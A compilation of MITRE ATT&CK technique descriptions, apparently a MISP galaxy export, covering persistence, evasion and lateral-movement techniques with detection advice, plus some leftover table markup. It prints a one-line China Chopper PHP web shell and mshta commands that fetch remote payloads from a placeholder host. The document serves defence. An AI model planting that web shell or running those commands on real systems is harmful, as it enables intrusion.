Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

**Detection:** It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.

**Platforms:** Linux, Windows, macOS

**Data Sources:** Binary file metadata, File monitoring, Process command-line parameters

**Defense Bypassed:** Host forensic analysis

**Path Interception - T1034**

Path interception occurs when an executable is placed in a specific path so that it is executed by an
application instead of the intended target. One example of this was the use of a copy of cmd in the
current working directory of a vulnerable application that loads a CMD or BAT file with the
CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage
of when performing path interception: unquoted paths, path environment variable
misconfigurations, and search order hijacking. The first vulnerability deals with full program paths,
while the second and third occur when program paths are not specified. These techniques can be
used for persistence if executables are called on a regular basis, as well as privilege escalation if
intercepted executables are started by a higher privileged process.

==Unquoted Paths== Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey)
and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not
surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs.
<code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can
place an executable in a higher level directory of the path, and Windows will resolve that
executable instead of the intended executable. For example, if the path in a shortcut is
<code>C:\program files\myapp.exe</code>, an adversary may create a program at
<code>C:\program.exe</code> that will be run instead of the intended program.

==PATH Environment Variable Misconfiguration== The PATH environment variable contains a
list of directories. Certain methods of executing a program (namely using cmd.exe or the command-
line) rely solely on the PATH environment variable to determine the locations that are searched for
a program when the path for the program is not given. If any directories are listed in the PATH
environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g.,
<code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is
named the same as a Windows program (such as cmd, PowerShell, or Python), which will be
executed when that command is executed from a script or command-line.

For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in
the PATH environment variable, a program that is named net.exe and placed in <code>C:\example
path</code> will be called instead of the Windows system "net" when "net" is executed from the
command-line.

==Search Order Hijacking== Search order hijacking occurs when an adversary abuses the order
in which Windows searches for programs that are not given a path. The search order differs
depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess)
(Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search
in the directory of the initiating program before searching through the Windows system directory.
An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does
not specify the path to an executable) may take advantage of this vulnerability by creating a
program named after the improperly specified program and placing it within the initiating
program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net
user</code>. An adversary may place a program called "net.exe" within the same directory as
example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an
adversary places a program called "net.com" in the same directory as "net.exe", then
<code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of
executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.

Detection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which
may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

==Master Boot Record== The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

==Volume Boot Record== The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

Detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.

Platforms: Linux, Windows

Data Sources: API monitoring, MBR, VBR

Permissions Required: Administrator, SYSTEM

**Indicator Removal on Host - T1070**

Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.

Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process command-line parameters, Process monitoring

Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Indicator Removal on Host - T1070"
Exfiltration Over Other Network Medium - T1011

Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

Detection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.

Platforms: Linux, macOS, Windows

Data Sources: User interface, Process monitoring

Requires Network: Yes

Contributors: Itzik Kotler, SafeBreach

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Other Network Medium - T1011"

Data from Local System - T1005

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.

Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
**Web Shell - T1100**

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

Detection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)

```php
<?php @eval($_POST['password']); ?>
```

Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server’s content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

Platforms: Linux, macOS, Windows

Data Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow

Effective Permissions: User, SYSTEM

System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Shell - T1100"*
Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through `<code>kextload</code>` and `<code>kextunload</code>` commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

Detection: LKMs are typically loaded into `<code>/lib/modules</code>` and have had the extension `.ko` ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)

Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package.

Adversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)

On Ubuntu and Debian based systems this can be accomplished by running: `<code>apt-get install linux-headers-$\{uname -r\}</code>`

On RHEL and CentOS based systems this can be accomplished by running: `<code>yum install kernel-devel-$\{uname -r\}</code>`

Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: `<code>modprobe insmod lsmod rmmod modinfo</code>` (Citation: ...)
Linux Loadable Kernel Module Insert and Remove LKMs)

For macOS, monitor for execution of `<code>kextload</code>` commands and correlate with other unknown or suspicious activity.

Platforms: Linux, macOS

Data Sources: System calls, Process Monitoring, Process command-line parameters

Permissions Required: root

**Service Registry Permissions Weakness - T1058**

Windows stores local service configuration information in the Registry under `<code>HKLM\SYSTEM\CurrentControlSet\Services</code>`. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege.
escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `<code>FailureCommand</code>`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)

Detection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows

Data Sources: Process command-line parameters, Services, Windows Registry

Effective Permissions: SYSTEM

Permissions Required: Administrator, SYSTEM

System Requirements: Ability to modify service values in the Registry

Contributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire

**Mshta - T1170**

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension `<code>.hta</code>`. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: `<code>mshta vbscript:Close(Execute("GetObject(""script:https[:\]//webserver/payload[.]sct""))")</code>`

They may also be executed directly from URLs: `<code>mshta http[:\]//webserver/payload[,]hta</code>`

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)

Detection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting

Windows Admin Shares - T1077

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `<code>C$</code>`, `<code>ADMIN$</code>`, and `<code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The `net` utility can be used to connect to Windows admin shares on remote systems using `<code>net use</code>` commands with valid credentials. (Citation: Technet Net Use)

Detection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.

Platforms: Windows

Data Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring

Permissions Required: Administrator

System Requirements: File and printer sharing over SMB enabled. Host/network firewalls not blocking SMB ports between source and destination. Use of domain account in administrator group on remote system or default system admin account.

The tag is: `misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077"`

Table 2831. Table References
Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) * Winlogon\Notify - points to notification package DLLs that handle Winlogon events * Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on * Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

Detection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Platforms: Windows

Data Sources: Windows Registry, File monitoring, Process monitoring

Permissions Required: Administrator, SYSTEM
Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

Detection: Objective-See’s Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.

Platforms: macOS

Data Sources: File monitoring

</table>

Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `<code>C:\Windows\System32\sethc.exe</code>`, launched when the shift key is pressed five times and `<code>C:\Windows\System32\utilman.exe</code>`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `<code>%systemdir%</code>`, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `<code>C:\Windows\System32\utilman.exe</code>`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when
connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

*On-Screen Keyboard: `<code>C:\Windows\System32\osk.exe</code>`
*Magnifier: `<code>C:\Windows\System32\Magnify.exe</code>`
*Narrator: `<code>C:\Windows\System32\Narrator.exe</code>`
*Display Switcher: `<code>C:\Windows\System32\DisplaySwitch.exe</code>`
*App Switcher: `<code>C:\Windows\System32\AtBroker.exe</code>`

Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within `<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>`.

</table>
Taint Shared Content - T1080

Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Detection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.

Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.

Platforms: Windows

Data Sources: File monitoring, Process monitoring

Drive-by Compromise - T1189

A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components:

Multiple ways of delivering exploit code to a browser exist, including:

* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript,
iFrames, cross-site scripting. * Malicious ads are paid for and served through legitimate ad providers. * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process: # A user visits a website that is used to host the adversary controlled content. # Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. **The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.** # Upon finding a vulnerable version, exploit code is delivered to the browser. # If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place. **In some cases a second visit to the website after the initial scan is required before exploit code is delivered.**

Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Detection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it’s registered to, if it’s on a known bad list, or how many other users have connected to it before.

Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.

Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

Platforms: Linux, Windows, macOS

Data Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection

Permissions Required: User

Table 2837. Table References
External Remote Services - T1133

Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.

Adversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential phishing or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.

Detection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

Platforms: Windows

Data Sources: Authentication logs

Permissions Required: User

Contributors: Daniel Oakley, Travis Smith, Tripwire

Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the
hard drives on all endpoints.

Detection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process use of network, Process monitoring

System Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)

**Hooking - T1179**

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: *"Hooks procedures", which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) *"Import address table (IAT) hooking", which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) *"Inline hooking", which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks
Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)

Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.

Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)

Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

Platforms: Windows

Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs

Permissions Required: Administrator, SYSTEM

Port Knocking - T1205

Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

Detection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

Platforms: Linux, macOS

Permissions Required: User

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Port Knocking - T1205"

Table 2841. Table References

Links

https://attack.mitre.org/wiki/Technique/T1205

Automated Collection - T1119

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.

Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior.
Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process command-line parameters, Data loss prevention

Permissions Required: User

System Requirements: Permissions to access directories and files that store information of interest.

Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

Detection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

Platforms: Windows

Data Sources: DLL monitoring, Windows Registry, Loaded DLLs

Sudo - T1169

